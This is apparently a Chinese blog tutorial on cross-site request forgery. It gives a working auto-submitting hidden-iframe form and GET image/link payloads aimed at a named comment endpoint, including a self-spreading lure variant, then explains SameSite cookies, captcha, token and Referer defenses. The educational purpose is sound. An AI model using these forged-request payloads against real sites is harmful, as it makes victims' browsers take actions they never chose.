CSRF
全称:Cross Site Request Forgy
、跨站请求伪造 。是其他网站对目标网站发出了请求、在用户不知情的情况完成的。
前端代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=11,IE=10,IE=9,IE=8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0">
<meta name="apple-mobile-web-app-title" content="">
<link rel="stylesheet" id="wpsm_tabs_r_bootstrap-front-css" href="" type="text/css" />
<script type="text/javascript" src=""></script>
<link rel="shortcut icon" href="favicon.ico">
<meta name="keywords" content="">
<meta name="description" content="">
<title>demo</title>
</head>
<body>
</body>
<script>
document.write(`
<form name="commit" target="csrf" action="http://dong.li.cn/post/addComment" method="post">
<input type="hidden" name="postId" value="13">
<textarea name="content">来自CSRF!</textarea>
</form>
`);
var iframe=document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display='none';
document.body.appendChild(iframe);
setTimeout(function (){
document.querySelector('[name=commit]').submit();
},1000);
</script>
</html>
核心是在于一个iframe标签 from中target=”csrf’ 是指向iframe标签、iframe隐藏因此看不见任何操作
由于我指向了一个我本地域名中未知的URL所以、在在控制台中看见的是无法加载控制器POST、虽然显示了报错信息、但也成功提交了数据。如果是合法的那么应该是提交成功了。
如果是GET那么更简单、可能直接发送个请求就可以
例子: <a href='http://dong.li.cn/post/addComment?postId=13&content=什么'></a>
例子:<img src='http://dong.li.cn/post/addComment?postId=13&content=什么'/>
例子变种:<img src='http://dong.li.cn/post/addComment?postId=13&content=<a href=''>点我有钱那</a>'/>
如果说、成功的提交了评论里面、评论里面有点击那么这样会无限中招
CSRF防御
CSRF防御之cookie属性SameSite
<?php
header('Set-cookie:test=123456; SameSite=Lax');
//setCookie();这个函数没有SameSite属性 而且并不好用
SameSite-cookies
是一种机制,用于定义cookie
如何跨域发送。这是谷歌开发的一种安全机制,并且现在在最新版本(Chrome Dev 51.0.2704.4)中已经开始实行了。SameSite-cookies
的目的是尝试阻止CSRF(Cross-site request forgery 跨站请求伪造)以及XSSI(Cross Site Script Inclusion (XSSI) 跨站脚本包含)攻击。
SameSite-cookies
之前一直受到广大安全研究人员的关注,现在它终于在Chrome-dev
上工作了,这是一个好消息。这意味着如果你有一个使用cookies的网站,你应该开始支持SameSite-cookies
。事实上,这非常容易。你只需要在Set-Cookie
中添加一个SameSite
属性。需要注意的是,SameSite
需要一个值(如果没有设置值,默认是Strict),值可以是Lax或者Strict。你可以在草案中阅读这些属性的相关定义,但这里我会简单解释几种常见的属性,这样叫你就可以很容易的理解它们是如何工作的。
使用语法是SameSite=
Strict
Strict
是最严格的防护,有能力阻止所有CSRF攻击。然而,它的用户友好性太差,因为它可能会将所有GET请求进行CSRF防护处理。
例如:一个用户在reddit.com点击了一个链接(GET请求),这个链接是到facebook.com的,而假如facebook.com使用了Samesite-cookies
并且将值设置为了Strict
,那么用户将不能登陆Facebook.com,因为在Strict
情况下,浏览器不允许将cookie从A域发送到B域。
Lax
Lax(relax的缩写)
属性只会在使用危险HTTP方法发送跨域cookie的时候进行阻止,例如POST方式。
例1:一个用户在reddit.com点击了一个链接(GET请求),这个链接是到facebook.com的,而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax,那么用户可以正常登录facebok.com,因为浏览器允许将cookie从A域发送到B域。
例2:一个用户在reddit.com提交了一个表单(POST请求),这个表单是提交到facebook.com的,而假如facebook.com使用了Samesite-cookies并且将值设置为了Lax,那么用户将不能正常登陆Facebook.com,因为浏览器不允许使用POST方式将cookie从A域发送到B域。
注意
根据草案中所说,Lax并没有充分防止CSRF和XSSI攻击。但我还是建议先使用Lax进行一个较好的CSRF攻击缓解措施,之后再考虑是否使用Strict。
同时,需要注意,不要将所有的cookie都设置SameSite属性,因为不同的cookie有不同的用途,如果你的网站使用有会话cookie,它可以被设置为Lax属性;其他的可以设置为Strict属性。这可能是一种合适的方式。
CSRF防御之验证码
因为CSRF攻击中是不经过攻击网站的前端的、那么可以在本网站前端中进行防御。
例如:验证码 和 token。
在后端用PHP的类库进行验证码的验证。CSRF攻击页面没有验证码或验证码不可能和被攻击网站的验证码一致的。通过验证码进行防御。
缺点:需要用户进行输入、容易出错。
CSRF防御之token
原理:在前端页面表单中生成token、并在cookie或缓存中存入token。因为不经过被攻击网站的前端是无法知道表单的token。所以达到防御的目的。一份表单、一份cookie或缓存中
注意:由于这样非常可能会出现。只有最后一个打开的表单网页可以正确提交。在那之前打开的网页,提交失效。因为cookie中之会生成一个token所以会失败。如果用缓存并合理储存可能没有问题。
CSRF防御之http_referer
原理:在请求中会带来源网址。只要和本网站域名一致就可以过。但有的浏览器是可以设置没有referer的所以取舍要看自己。
if($_SERVER['HTTP_REFERER']){
$isLegal=strpos($_SERVER['HTTP_REFERER'],'https://blog.solo90.com/')===0;
}